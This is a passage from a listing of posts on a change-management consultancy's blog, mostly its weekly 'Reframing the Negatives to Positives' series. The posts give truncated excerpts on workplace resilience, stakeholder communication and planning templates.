can cope with difficult situations, so it is a protection mechanism – our brains think, “when there are problems, you solve them,... --- ### Resilience Powers Change Paper > In this paper, we will look at what resilience is and provide solutions for creating it ourselves and for helping others to develop their coping mechanisms. - Published: 2023-05-19 - Modified: 2023-05-24 - URL: https://agilechangemanagement.co.uk/resilience-powers-change-paper-2/ - Categories: Change management techniques, White Papers - Tags: Agile change management, change management, resilience hbspt. forms. create({ region: "eu1", portalId: "24958696", formId: "aa841766-55f9-4153-bce4-ade1f6ecca4a" }); --- ### Week 15- My change initiative has no benefits! > I am currently working on a change which really isn’t changing anything, replacing a current platform for capturing customer transactions. - Published: 2023-05-15 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-15/ - Categories: Reframing the Negatives to Positives - Tags: change management, resilience I am currently working on a change which really isn’t changing anything. We are exerting a lot of effort in replacing a current platform for capturing customer transactions. It is a system change but: No change is required to behaviours. There's no real change required to the transactions that we do The customers that we're dealing with Effectively we are replacing like for like, but to do this, there is a lot of work on top of demanding day jobs. Everyone is getting tired, they are snapping at each other, there is an increasing level of disengagement as people stop making effort, leaving a handful of people to do the work across multiple teams. Do not invent benefits! This is a common situation, and I have learnt that there is no point in trying to “sell” the change as an amazing opportunity to realise lots of benefits because it isn’t. The most authentic benefit I can claim is that the way transactions will be processed complies with regulatory requirements (it is an insurance firm). The change itself doesn’t create improvements, so the change is not the source of motivation that will make me feel good about how hard I am working. Making change happen is exciting and motivating! Instead, I can turn to the process of making the change happen as a source of benefits: Process skills – this is another opportunity to deliver change in an agile way, creating a roadmap for incremental shifts in capability by delivering the... --- ### Week 14- Describing the Results VS Describing the Activities > To describe the results of our actions; we must step back and think through the impact of what we did and draw a conclusion - Published: 2023-05-08 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-14/ - Categories: Reframing the Negatives to Positives - Tags: change management, Positivity Towards the end of last week, I had one of those days where if things could go wrong, they did. Everything I touched seemed to take longer, get stuck because other decisions hadn’t been taken or other work hadn’t been finished. My day was populated with starting many pieces of work but finishing very few of them. I felt confused by the variety of different things I was trying to do all at the same time, and as I drove home, I replayed all the things I had done. I could feel myself getting stressed as I re-lived every blocker I experienced, every half-finished task. I felt very demotivated, knowing that I had a whole list of things I needed to complete the next day. My partner and I were going to dinner with friends, and so I knew I needed to get myself in a better mood or risk being the miserable one at the table. As my partner works in a completely different industry, he knows very little about what I do, so I decided to try and experiment. As we chatted about our day, I challenged myself to describe the results of my day. This is a difficult exercise because we are programmed to describe our activities and all the things we did, not our outcomes and achievements. This is because to describe the results of our actions; we must step back and think through the impact of what we did and draw a conclusion. If we... --- ### Week 13- Make lemonade from lemons! > When things are spiralling out of control, and 1 bad thing triggers 5 other bad things, how do we find the positives in this situation? - Published: 2023-05-01 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-13/ - Categories: Reframing the Negatives to Positives - Tags: change management, Control, Positivity When things are spiralling out of control, and one bad thing seems to trigger 5 other bad things, how do we find the positives in this situation? Well, this happened to me last week – here are a few of my negative experiences: Someone failed to finish a piece of work so an important deadline was missed Something was more complicated than it looked and took 3 times longer than allocated Developer says we cannot remove the code we don’t like, leaving us with a feature we don’t want Users are complaining that the invoicing is wrong and there's a whole paper trail that has to be put right Someone else has failed to get the purchase order they were supposed to get, so something can't be approved by the sponsor, and sponsors have now gone on holiday for three weeks. You know, when you have this kind of day, it is a big leap to start appreciating the positives! However, I think that we can get something positive out of it – we can take time out to do things that make us feel good. We all have different preferences for how we like to work and the type of work that we enjoy. When things are going wrong, we can spiral into pessimism and anxiety. To give ourselves a boost, we need the happiness, satisfaction and feeling of accomplishment that doing things we like and we are good at can give us. Think about the things you find... --- ### Week 12- More complexity leads to more achievements > I am working on something which has so many inter-connected parts it feels impossible to find an obvious starting point. - Published: 2023-04-24 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-12/ - Categories: Reframing the Negatives to Positives - Tags: agile change, change management, Positivity, Reframing the negatives to positives I am working on something which has so many inter-connected parts it feels impossible to find an obvious starting point. It is very frustrating as every time I find an answer and complete one piece of work, I find there are knock-on effects to other pieces of work. It is so easy to get lost in this detail, and when everything feels connected to everything else, it is difficult to get a sense of achievement from having completed something. You might be wondering how I can reframe this complexity as a positive, but this is what I do to stop myself from feeling overwhelmed. I reframe the complexity of the situation as a benefit. I accept the fact that there are no easy answers and there is no simple, linear path from the start to the finish of this change initiative. Instead, I “lean in” to the complexity, mind-mapping every aspect I can think of and working out how each part is connected to other parts of the change. By working with the complexity, I can achieve a much deeper understanding of the impact of my change and the wider context – how it affects other parts of the organisation and the external ecosystem in which the organisation works. This wider context helps me appreciate my change at a strategic level and not just focus on the tactical changes I need to make. In doing this, I also identify stakeholders who are interested in the connections but who might not... --- ### Neuroscience to Drive Change at Work Paper > Download our paper on Neuroscience to Drive Change at Work - Published: 2023-04-18 - Modified: 2024-06-12 - URL: https://agilechangemanagement.co.uk/neuroscience-to-drive-change-at-work-paper/ - Categories: Change management techniques Download Neuroscience to Drive Change at Work Paper DOWNLOAD HERE --- ### Week 11-Turning bad bosses into positive experiences > I have worked for some truly awful bosses, so I thought I would turn my feelings around and capture what I got from them. - Published: 2023-04-17 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-11/ - Categories: Reframing the Negatives to Positives - Tags: change management, Positivity, Reframing the negatives to positives Turning bad bosses into positive experiences I have worked for some truly awful bosses (a retirement announcement from one of the worst inspired this blog! ), so I thought I would turn my feelings around and capture what I got from them that has powered my career. If you are working for a bad boss, this will give you hope for the future. Bullying I worked for 3 men as part of a small team in a global investment bank. At every opportunity, they belittled me, made me feel stupid for asking for more information, withheld details until I had finished the work so they could tell me I had done it wrong. It was a miserable experience at the start of my career, but it helped me realise how stupid and insecure they really were. Confident people are always willing to share answers and help others succeed because they have nothing to fear. If someone is always keeping things to themselves, it is probably because they don’t know that much and are scared they will be found out because they cannot answer your questions. Cancer A few years ago, I had some medical treatment. I was not suffering a life-threatening situation, but it was scary and painful. This woman made it clear that she had had a far worse cancer and was not going to tolerate anyone else on the team telling her that they were ill. I had never encountered “illness envy” before, it was the strangest situation.... --- ### Emotional Assessment Questionnaire > If you want a quick check on your own emotions, take this quick assessment! - Published: 2023-04-14 - Modified: 2023-04-14 - URL: https://agilechangemanagement.co.uk/emotional-assessment-questionnaire/ - Categories: Basics of change management, Resources - Tags: agile change, change management, emotional assessment questionnaire If you want a quick check on your own emotions, take this quick assessment! Emotional-Assesment-QuestionnaireDownload --- ### Reading Resources for Change > A selection of resources to support your understanding of change as a profession. - Published: 2023-04-03 - Modified: 2023-04-03 - URL: https://agilechangemanagement.co.uk/reading-resources-for-change/ - Categories: Company, Insights, Resources - Tags: Agile change management, change management, reading resources, resources for change Reading-resources-for-changeDownload --- ### Video Resources for Change > A selection of resources in the format of video to help understand change management better. - Published: 2023-04-03 - Modified: 2023-04-03 - URL: https://agilechangemanagement.co.uk/video-resources-for-change/ - Categories: Company, Insights, Videos - Tags: Agile change management, change, change management Video-resources-for-changeDownload --- ### Week 10- Leadership techniques for lazy colleagues > I am currently working with an incredibly lazy and disorganised person. Here is how I find the positives in this situation... - Published: 2023-04-03 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-10/ - Categories: Reframing the Negatives to Positives - Tags: agile change, change management, Reframing the negatives to positives, resilience I am currently working with an incredibly lazy and disorganised person who doesn't like to do the work and, unless they are constantly nudged. They spend their energy providing lots of defensive comments about why the work hasn't been done or why the work isn't necessary. They do not put any effort into reviewing their own work, so what comes back is often substandard and has to be redone. Clearly, it is a very frustrating situation (luckily, it is a short-term assignment! ), so you might wonder how I can find the positives in this negative situation. My first positive is that difficult people are a constant in our lives, so this is an opportunity to improve my coping mechanisms. Working with this person has broadened my leadership style. My natural style is to empower people by only giving an outline of what has to be achieved, leaving them to define for themselves how they will deliver the work. However, in this case, this approach is failing me. I have had to learn to be incredibly specific about what is required. This has helped me refine my ability to define the quality criteria upon which the work will be acceptable so that if it does not meet the criteria, then I can immediately point to what is missing and ask for it to be amended. This is helping me develop my skills in developing these criteria. It is not easy because it means stepping into the future, thinking through how... --- ### It is time to plan for Q2. > As we come to the end of Q1, view Q2 as a chance for a re-set. Use my template to think about when you will do these things - Published: 2023-03-31 - Modified: 2023-03-31 - URL: https://agilechangemanagement.co.uk/it-is-time-to-plan-for-q2/ - Categories: Basics of change management - Tags: agile change, change management, Planning As we come to the end of Q1, view Q2 as a chance for a re-set. Create a 90-day plan so you can look ahead with realism about what you can get done, and include in your plan the things we always forget, which are our own development and replenishment of our skills. Use my template to think about when you will do these things: --- ### Use neuro-hacks to trigger action. > We increase the chances of persuading our stakeholders to act by matching our messages to how brains work. By communicating in a brain-friendly way, we reduce the amount of persuading we do. Our messages are assessed by the brain as sensible, logical, and desirable. - Published: 2023-03-31 - Modified: 2023-03-31 - URL: https://agilechangemanagement.co.uk/use-neuro-hacks-to-trigger-action/ - Categories: Neuroscience - Tags: change management, neuroscience Neuro-hacks are small, deliberate interventions that drive a specific response. They come from the latest neuroscience about how our brains process information and take decisions. We increase the chances of persuading our stakeholders to act by matching our messages to how brains work. By communicating in a brain-friendly way, we reduce the amount of persuading we do. Our messages are assessed by the brain as sensible, logical, and desirable. This is a smarter working approach than sharing the benefits of the change, role-modelling or telling inspiring stories, which create positive feelings about the change but don’t necessarily lead to action. Neuro-hacks are a turbo-charged way of cutting through fatigue and resistance to get the results we need. For example, our stakeholders will make changes if we trigger the primal urge for predictability using a “cohesive picture” technique. Predictability is the deep need we have for certainty. We need to know what will happen next and that what is happening is expected. Our brains find reassurance in predictable patterns of behaviour. We continuously assess our environment and our experiences, analysing what has happened before to create an expectation of what will happen next. When we don’t know what is going to happen next, we experience stress. Similarly, if we get an unexpected result, we suffer shock, a negative reaction caused by the difference between what did happen and what we expected to happen. For example, if I go to open a door, my brain has already set out an expected pattern... --- ### Criteria to create participation in your change > Criteria based on primary drivers to enhance the effectiveness of your messaging and generate participation in your change. - Published: 2023-03-31 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/criteria-to-create-participation-in-your-change/ - Categories: Neuroscience - Tags: agile change, neuroscience In my previous blog, I explained primary drivers. We can apply this concept to ensure that our communications with stakeholders trigger an instinctive desire to participate in our change. Below are criteria based on these primary drivers to enhance the effectiveness of your messaging and generate participation in your change. Connection Is there an opportunity to be part of a team? Will others give you support and help? Will you be able to share your experiences with others? Predictability Is there a clear plan? Is this expected? Does everyone know what they have to do? Choice Does your message offer your stakeholders the opportunity to: Ask questions? Take decisions? Implement their ideas? Equality Are the success criteria clear and easy to understand? Is there a balance between who benefits and who is disadvantaged? Respect Do you recognise the skills and experience of your stakeholders? Do you communicate according to established reporting lines? Growth Are there opportunities to solve problems and create new ideas? Are there opportunities to learn new skills? Are there opportunities to share learning with others? To get help in creating change communications that generate instinctive, immediate participation in change, join me on my next Agile Change Agent course --- ### How primary drivers in the brain trigger participation in change > Primary drivers are the primary forces in the brain, driving automatic responses that we cannot easily control. - Published: 2023-03-31 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/how-primary-drivers-in-the-brain-trigger-participation-in-change/ - Categories: Neuroscience - Tags: agile change, change management, neuroscience, primary drivers Primary drivers are the primary forces in the brain, driving automatic responses that we cannot easily control. For example, the desire for social connection is such a strong driver; when we are ignored by someone or left out of an event, this isolation triggers pain. We feel angry, we feel diminished and embarrassed – even if we didn’t want to attend the event, not being invited feels humiliating. Understanding these deep-seated reactions enables us to trigger the responses we need for our change initiative. We can trigger a “pull” mechanism, an instinctive, urgent response by stakeholders to want to take part in what we are offering. We create this automatic engagement by cutting out noise and distraction. Our messages go straight to the shortcuts that our brains use for processing information. These primary drivers are: Connection– social interaction, being part of communities, having the support of others Predictability – the desire to know what is going to happen next Choice – the need to be in control of what happens to us Equality – our need to ensure that we are not disadvantaged compared to others Respect – the importance that we have relative to others Growth – the pleasure we experience from increasing our capability and what we can achieve by using these capabilities Review your next stakeholder communication against this list to see if what you are saying triggers any of these responses. If not, revise your content to create a more explicit connection between what you want... --- ### Week 9- Too much work, too little time > Finding the positives in this high volume of work on a Saturday morning is a challenge but this is what I came up with on my dawn dog walk. - Published: 2023-03-27 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-9/ - Categories: Reframing the Negatives to Positives - Tags: Agile change management, change management, Positives This week the negative that I am experiencing is something we can all empathise with. I have too much work for the number of hours available to me. On top of my existing (heavy) workload (which is my own fault as I say yes to interesting work all the time because I love my job), I have a client with a crisis that will take me out of the office for 4 days. I don’t have 4 days free so I am making up some of the time this weekend (not a great idea, but it is a crisis situation which means it is temporary and will not become a habit). Finding the positives in this high volume of work on a sunny Saturday morning is a challenge but this is what I came up with on my dawn dog walk: At least I can organise for myself how I am going to get all this work done – which means I have control over my working environment, which reduces my stress. Things would be much worse if I had to follow the detailed instructions of someone else because I would feel powerless, which decreases my status and leaves me vulnerable to the priorities of others. Feeling valued and respected – I know I going to get compliments and thanks for the work I am doing, and I know that will make me feel good. This isn’t just ego talking, my brain interprets these compliments as an increase in my... --- ### Week 8- Finding the positives from Covid lockdowns > As we approach the 3rd anniversary of the start of the lockdown, I want to look back at all the positives that came from a frightening time. - Published: 2023-03-20 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-8/ - Categories: Reframing the Negatives to Positives - Tags: Agile change management, change, change management, Lockdown, Reframing the negatives to positives As we approach the 3rd anniversary of the start of the lockdown, I want to look back and find all the positives that came out of such a frightening and awful time. Many of us lost relatives and friends, and that heartbreak is still with us, but I don’t want to look back as if everything that happened was awful. That will not bring those I love back. Instead, I want to find something to be grateful for because I know it is that gratitude that creates my future hope, optimism and confidence. These are the perspectives that lead to a higher quality of life. When we experience optimism, we are more creative, less judgemental and have higher levels of resilience. I have found the first few months of this year hard, work and “life-admin” have felt like a burden at times, so looking back on this anniversary from the perspective of how bad it was is a self-defeating action. It will only fuel my feelings of stress and exhaustion. This is my flow of positivity from the start of the lockdown – I hope it inspires you to find yours: I spent more time with my Dad as we shared lockdown together. I learnt new self-reliance techniques as I coped with lots of household issues on my own, as there was no one else to fix them. I was forced to restructure my work to an online model, leading to the creation of a whole new business. I connected... --- ### Celebration Plan > Let's concentrate on our successes, let's look back over the last week, month or quarter and celebrate all things we have accomplished, all the skills we have learnt and the relationships we have built. - Published: 2023-03-14 - Modified: 2023-03-14 - URL: https://agilechangemanagement.co.uk/celebration-plan/ - Categories: Basics of change management, Insights - Tags: agile change, Agile change management, Celebration pla, celebration plan, change We are all under pressure. There is so much to do and never enough time to get everything done. We constantly feel as if we haven’t been productive because we look ahead at all the things we still have to do and not look back at all the amazing things we have achieved. It is easy to lose enthusiasm for our work and to feel as if things are just too much effort. If you are suffering from this type of fatigue, it is time to re-energise. Let's concentrate on our successes. Let's look back over the last week, month or quarter and celebrate all things we have accomplished, all the skills we have learnt and the relationships we have built. --- ### Week 7- Getting enjoyment from stress > This week I am using a practical technique that taps into 3 core drivers in the brain to reset my brain from stress to enjoyment. - Published: 2023-03-13 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-7/ - Categories: Reframing the Negatives to Positives - Tags: #agilechangemanagement, Agile change management, change management, Enjoyment, Happiness, Reframing the negatives to positives This week I am using a practical technique to reset my brain from stress to enjoyment. This technique works because it taps into 3 core drivers in the brain: Environmental conditions – I am designing my physical working conditions intentionally to help me feel positive and create a sense of optimism and enjoyment Mirroring – using the body language of others to reset my own body language Social connection – creating a sense of belonging and benefiting from the positivity that being connected with others brings us. I was running a workshop on building the best environment for supporting those suffering from change fatigue when I realised that my own office was missing some simple elements that have the power to shift my mood from negative to positive. I need to smile more, which has a powerful effect on us because when I smile, others around me smile, and my smile triggers feelings of enjoyment, which creates a virtuous circle as I smile more. To kick-start my increase in smiling, I have used mirroring and social connection. I put up a photograph of my best friend, who is grinning at the camera, clearly delighted with life. We have a deep connection so whenever I look at the photograph, my brain is reminded I am part of a supportive, caring group which meets my psychological need for belonging (Maslow identified this in his hierarchy of needs early last century, and which has been validated by numerous neuroscience experiments since). The photograph... --- ### Week 6- Even the little wins are worth celebrating > Sometimes it is from the completion of the mundane tasks that we can find hope and positivity, we can celebrate that we've done them - Published: 2023-03-06 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-6/ - Categories: Reframing the Negatives to Positives - Tags: #agilechangemanagement, #APMG, #changemanagement, Agile change management, Celebrate, change management, Reframing the negatives to positives Harder to write this week, as I am grieving the loss of someone important to me. It all happened so suddenly and I cannot believe he is no longer here. Grief never comes at a convenient time, and whilst I am taking a small step back, I still have a lot of commitments. To be able to function, I am being kind to myself, and that means repeatedly congratulating myself for even the tiniest of wins. Everything and anything that I manage to get done, to work out, to decide upon is progress. As always, I resolve a lot of my issues whilst walking the dogs, because repetitive physical activity has many benefits in addressing stress (and grief is a particular type of stress). The benefits include the calming nature of the repetition of the movements, an opportunity to focus on something else, and the social support of being or seeing others whilst exercising. Last night when we went for our last walk of the day, I made a mental list of all the little things (and they are tiny) that I have managed:• Completing the tasks from my Marketing Manager – if I don’t provide the content, she cannot do her work and I just become a bottleneck for her, stopping her from making progress• Remembering to reply to a friend who needed me to tell her if I was coming to an event – otherwise, my uncertainty makes her day worse• Remembering to pack my gym kit for... --- ### Road Mapping to Create Resilience > We can use the agile planning technique of “road mapping” to provide the certainty and predictability during change that our brains crave. - Published: 2023-03-02 - Modified: 2023-03-02 - URL: https://agilechangemanagement.co.uk/road-mapping-to-create-resilience/ - Categories: Company, Featured, Insights, Planning a change - Tags: #agilechangeagent, #agilechangemanagement, #changemanagement, Agile change management, change management, resilience, Road Mapping, Technique We can use the agile planning technique of “road mapping” to provide the certainty and predictability during change that our brains crave. Our brains love to know what is going to happen next, and we find we are stressed and more likely to give up if we don’t know where we are on the journey. If we can see the progress we are making towards our ultimate goal, we can pace ourselves and we can congratulate ourselves on what we have achieved. Essentially we feel a “loyalty” to continuing the journey. Our brains respond positively to patterns, enjoying the certainty they create and a desire to get to the end and complete all the steps, which creates a pull through even the most difficult situations. Scheduling provides clarity about what is going to happen next. This eliminates fear because we have the information to predict the next steps. Knowing what we have to get done and when helps us to create routines that we apply, even when we doubt our ability to get the work done. We can use a schedule or plan to track our progress, giving us evidence that we are succeeding, which reinforces our feeling of resilience. To achieve this type of resilience in my change initiatives, I use a high-level, visual planning approach called the Roadmap. This sets out the journey from start to finish so that all those impacted by the change can see the scale of the work, how one achievement will lead to... --- ### Reward strategy > The pleasure from the reward creates the desire for more rewards, which motivates us to keep going the next time we hit a problem. - Published: 2023-03-02 - Modified: 2023-03-02 - URL: https://agilechangemanagement.co.uk/reward-strategy/ - Categories: Change management techniques, Company, Featured, Insights - Tags: #agilechangemanagement, #changemanagement, Agile change management, change management, resilience, Strategies To maintain resilience, it is important to have a framework of positive reinforcement. This means that when we do keep going, even though we want to give up, we experience a reward. The pleasure from the reward creates the desire for more rewards, which motivates us to keep going the next time we hit a problem. Alongside the overall resilience strategy, we should create a rewards strategy so that we can identify the resources required and allocate responsibilities for issuing the rewards. Reward Strategy Template Context This strategy identifies the celebrations and rewards that reinforce the achievements of staff implementing and adopting change. These rewards must be identified in advance to ensure there are sufficient resources to provide them and that they adhere to the HR policies of our organisation. Rewards are an essential element of motivation, as they encourage people to repeat behaviours through positive encouragement of their actions. Types of rewards 1. Organisational rewards These are formal rewards originating from performance management. Depending on the culture of your organisation, these might include a one-off bonus payment, a congratulatory note on your employment record, a salary increase or greater authority over your work. 2. Team-level rewards These are the rewards that teams provide to their members. These might be acknowledgements of achievements in team meetings, small social events to celebrate with colleagues or the opportunity to share your experiences and mentor others through the same process. 3. Individual rewards These are the rewards we encourage each other to apply... --- ### Resilience strategy > Creating a resilience strategy means that we don’t leave resilience to chance, hoping that everyone will be able to cope. It enables us to be more deliberate and intentional if we want to help our stakeholders keep going and overcome the pressures of change. - Published: 2023-03-02 - Modified: 2023-03-02 - URL: https://agilechangemanagement.co.uk/resilience-strategy/ - Categories: Change management techniques, Emotional resilience, Featured, Insights - Tags: #agilechangeagent, #agilechangemanagement, #changemanagement, Agile change management, change management, resilience, Resilience Strategy Strategies ensure that we are intentional about our actions and that we identified, agreed and created the support needed for how we are going to work. This contributes to the feeling of certainty because we are identifying in advance what we will do if certain situations arise. It is important that, as part of the first iteration of any change initiative, we define how we want to approach resilience. As we mentioned earlier, there is a lot we can learn from the risk management practices associated with establishing operational or system resilience. We should look ahead and identify the situations that will have the most obstacles and therefore are most likely to cause us to give up. By proactively identifying these before we start work, we can encourage everyone to decide what structural, emotional and collaborative support they would need in these circumstances. Creating a resilience strategy means that we don’t leave resilience to chance, hoping that everyone will be able to cope. It enables us to be more deliberate and intentional if we want to help our stakeholders keep going and overcome the pressures of change. Resilience Strategy Template Context: Resilience is essential to successfully implementing change because without it, when people encounter problems with adopting new ways of working, they will give up and insufficient numbers of those needed to work differently will do so. Objectives: Attention - Ensure everyone is aware of the importance of resilience. Willingness – Share the benefits of having resilience. Ability - Provide... --- ### Week 5- Engaging with others builds our resilience > Ironically the work I was struggling to create was the article and presentation for my resilience webinar this week. - Published: 2023-02-27 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-5/ - Categories: Reframing the Negatives to Positives - Tags: change management, Positives, Reframing the negatives to positives, resilience, self-criticism This blog is always about finding positives with the negatives and I had plenty of negatives this week. On Monday, I really struggled to get started on a difficult piece of work. I didn’t have any ideas, I didn’t know where to start, so of course, I procrastinated and found a hundred other things to do instead. I knew I was wrong not to get started, so I became frustrated and then angry with myself. I got caught in a negative cycle of behaviour and self-criticism. Ironically the work I was struggling to create was the article and presentation for my resilience webinar this week. Resilience is about overcoming obstacles and keeping going despite setbacks. What gave me the ability to keep going was a comment from my closest colleague, who called out what was happening. She said very clearly you are giving up. You need to stop, you need to find one task to do, do it, and then do the next task. She told me I needed to apply resilience to my situation, and in doing so, I would have an authentic story to tell about finding resilience when I deliver the webinar. She showed me a positive outcome of the stress I was experiencing. She told me my struggles could be used to apply the points I wanted to make about how we build our own resilience and how we build resilience in others – which is exactly what she was doing for me. This is a... --- ### Creating an Integrated Project and Change Management Plan > How to create a change management plan for your organisation. A step by step guide for all businesses to get on the road to success - Published: 2023-02-20 - Modified: 2025-04-18 - URL: https://agilechangemanagement.co.uk/creating-an-integrated-project-and-change-management-plan/ - Categories: Basics of change management, Company, Resources When embarking on organisational change, it is important to ensure you are creating an integrated project and change management plan. Download our guide below for full details on how to do this successfully. Why Creating an Integrated Project and Change Management Plan is Important When you embark on a journey to change your business, it is not uncommon to fail to recognise all the activities, time, and effort required to define and adopt new working methods. This leads to under-reporting the amount of work taking place and over-predicting the time you have to “run the business. ” This puts pressure on you as you have too much of your day job to do while trying to change how you work to accommodate the deliverables from multiple change initiatives. Having an integrated project and change management plan helps you properly plan your change initiatives and avoid overwhelming yourself or your employees during workplace change. Creating an Integrated Project and Change Management Plan This paper explains how to create an integrated project and change management plan. I chose the word integrated deliberately to represent the combining of these two types of activities into one coordinated approach. Although the project activities are often carried out by project team members who will not be the end users of what they create, and the change activities are carried out by those who have to work differently, each party needs the other. Download the Paper Below to Help With the Following What is the difference between... --- ### Week 4- Use your positivity to build positivity in others > We must be ready to step in and help others find the positives in their situation, this is essential to resilience building. - Published: 2023-02-20 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-4/ - Categories: Reframing the Negatives to Positives - Tags: #agilechangemanagement, #changemanagement, change management, coaching, Reframing the negatives to positives My motivation for writing these articles about positivity is to help create this capability in all of us. We know how positivity aids creativity and innovation, and it is fundamental to emotional resilience, and in change and transformation, these are essential ingredients for success. This week I want to show how your capability for positivity can be used to help others who are struggling. I am coaching someone who has had a significant promotion. It has been 2 months now, and he is failing to see the upside of this development in his career. Instead, he continually focuses on what he has left behind: He has lost his original peer group since he has become their boss, and they are now his direct reports. He has lost his day-to-day work, as he now has a new set of strategic responsibilities and far fewer tactical activities to complete. He has lost the feeling that he is respected for his knowledge and ability because instead of being the shining star in his previous peer group, he has joined a new group where there are more star players with more experience and skills than he has. Whilst I appreciate the short-term pain of his change, my role is to use my positivity to help him see advantages and improvements that are currently blocked by the fear and worries he is experiencing. For each of the areas where he sees loss, it is my job to highlight the alternative, more positive view: He has... --- ### Losing your corporate culture > Disney's lay-off/new hire situation appears to have had a catastrophic effect on the culture of the organisation. - Published: 2023-02-16 - Modified: 2023-02-16 - URL: https://agilechangemanagement.co.uk/losing-your-corporate-culture/ - Categories: Agile change management culture, Change Agents - Tags: agile change, Agile Change Agent, change management, corporate culture, culture I have been at a training course, staying at one of the Disney resorts in Orlando for the past week, and travelling to the other resorts and parks across the 40 square miles of Florida controlled by Disney. Many of these venues were closed during the pandemic for up to 2 years and many people were laid off. Since re-opening, many new staff have been hired. This lay-off/new hire situation appears to have had a catastrophic effect on the culture of the organisation. We all know the reputation that Disney has for amazing levels of customer service. That was not our experience this week as my colleagues and I struggled to get even the basics like laundry collected from our rooms or buy park tickets. There is a lack of connectivity between systems, which makes everything so much harder, which appears to feed the cynicism. To finalise a refund between the resort hotel that had sold the park tickets and the park itself took several phone calls and involved the IT help desk. As this was last night, my colleague and I were no longer surprised because we had seen these difficulties all week. Even their app is so complicated, people struggle to use it. As customers (or guests as we are referred to), our experience of the staff (called Cast Members) has been that we are an interruption to their conversations with each other. Guests are annoying is the predominant feeling. It is noticeable that many of the new... --- ### Week 3- Simple, quick resilience techniques > Monday was a long day, working late into the night. As it got later and later, I could feel myself getting more unhappy. - Published: 2023-02-13 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-3/ - Categories: Featured, Reframing the Negatives to Positives - Tags: Agile change management, change management, Practical positivity, Reframing the positives Monday was a long day, working late into the night. As it got later and later, I could feel myself getting more unhappy. The problem is, feeling negative makes things so much worse: I have less energy, so my brain sends me messages about quitting I am quicker to anger when I spot a mistake, which makes me more negative My brain is less able to process high volumes of information, which means I work slower, which makes me feel bad. At about 8. 30 pm, I stood up from the desk, intending to reset my feelings deliberately. Standing up is important because it is a "micro-break" temporarily stopping the flow of negative chemicals, as my brain is asking, "what's next. " I then did a quick exercise to find 5 things I was proud of in the work I had done so far: Fixed the typos on a Web page Got an important stakeholder to agree to a meeting Finished the description of a new product Typed up the next steps from a 20-minute meeting Found the name of an expert to invite to a session next week Nothing big, but for each one, I punched the air. This is important because it provides physical reinforcement of my thoughts. The next hour flew by, and I finished just before 10 pm! A real win, as I thought I'd still be working at midnight. This reset is part of a wider set of resilience techniques. If you want to know... --- ### Week 2- Techniques for overcoming your inner critical voice > The purpose of this exercise was to remind myself, that I am not useless, but that I have been in a situation of neural overload. - Published: 2023-02-06 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-2/ - Categories: Featured, Insights, Reframing the Negatives to Positives - Tags: #agilechangemanagement, #changemanagement, Positives, Reframing the negatives Last week I was beating myself up about how disorganised I am, how I am not finishing anything, how short my concentration periods are, and how I am struggling to remember everything that I have done in the day or to remember what is coming up tomorrow. My inner voice, always negative and quick to criticise, has had plenty of ammunition. Ironic that it is my own brain that has brought me to despair. Recognising the pattern of negativity, I closed my laptop, created space on the desk and wrote a list of all the new and different things I have to adopt into my working practices in the few days. The list shocked me, as there were so many things, some of which are quite small, but that are still new to my brain. For volume, I stopped counting after 35 items, but here are a few of the highlights, to make you think what might be on your list: Making tea not coffee, and remembering that everything has to be decaffeinated for my colleague who has been diagnosed with a significant illness Learning the new banking app which is not intuitive at all, I cannot imagine who the developers were designing for when they put this little beauty together, but it took me and my colleague 30 minutes to finally work out how to download the bank statements! Updated phone screen, where all my apps are in a different order than before (don’t ask why, just another little... --- ### Capabilities Summary January 2023 > By making sure you have the skills needed to deliver these requirements strengthens your interview confidence, and ultimately your job hunting success. - Published: 2023-02-02 - Modified: 2023-02-03 - URL: https://agilechangemanagement.co.uk/capabilities-summary-january-2023/ - Categories: Company, Featured - Tags: #agilechangemanagement, #changemanagement, Agile Change Agent, Agile change management, change management Following analysis of 100 business change roles advertised across the UK and US on Tuesday 31st January 2023 I identified these capabilities as the most in-demand, appearing on more than 50% of the role descriptions. The wording differed for every role, so I have selected the phrase that was most representative of what is being asked for. Making sure you have the skills needed to deliver these requirements strengthens your interview confidence, and ultimately your job hunting success. CapabilityTechniqueCourseEstablish and deliver the overall change programme applying structured charge management processesTechnique and template for building your Change Management StrategyAgile Change AgentUsing a structured process and set of tools for leading people through changeRoadmap planning technique Agile Change AgentAssessment of change impact, change readiness and identification of key stakeholders. New “Inter-dependent Impact assessment” technique New “Entry and exit checklists” techniqueAgile Change AgentManaging complex stakeholder relationships to make sure delivery is aligned to customer and business needs. New analysis technique for identifying the complete community that forms your teamAgile Change AgentEnsuring the planning, delivery and benefits realisation of an evolving complex change. Decomposition of the vision/end goal technique Roadmap planning techniqueAgile Change AgentTaking into consideration user experience and how the change will impact employees. “Know yourself to know others” emotional intelligence techniqueAgile Change AgentStrong problem solving skills to assess the impact of change and how we help our people adjust successfully to our future state. New inter-dependent Impact assessment techniqueAgile Change AgentSolid understanding of how people go through a change and the change... --- ### Week 1- Reframing the negatives to positives > Isn’t it true, when we have the least time to fix problems, that is when we have problems! Read on to see how I handle problems - Published: 2023-01-30 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives/ - Categories: Insights, Reframing the Negatives to Positives - Tags: Practical, 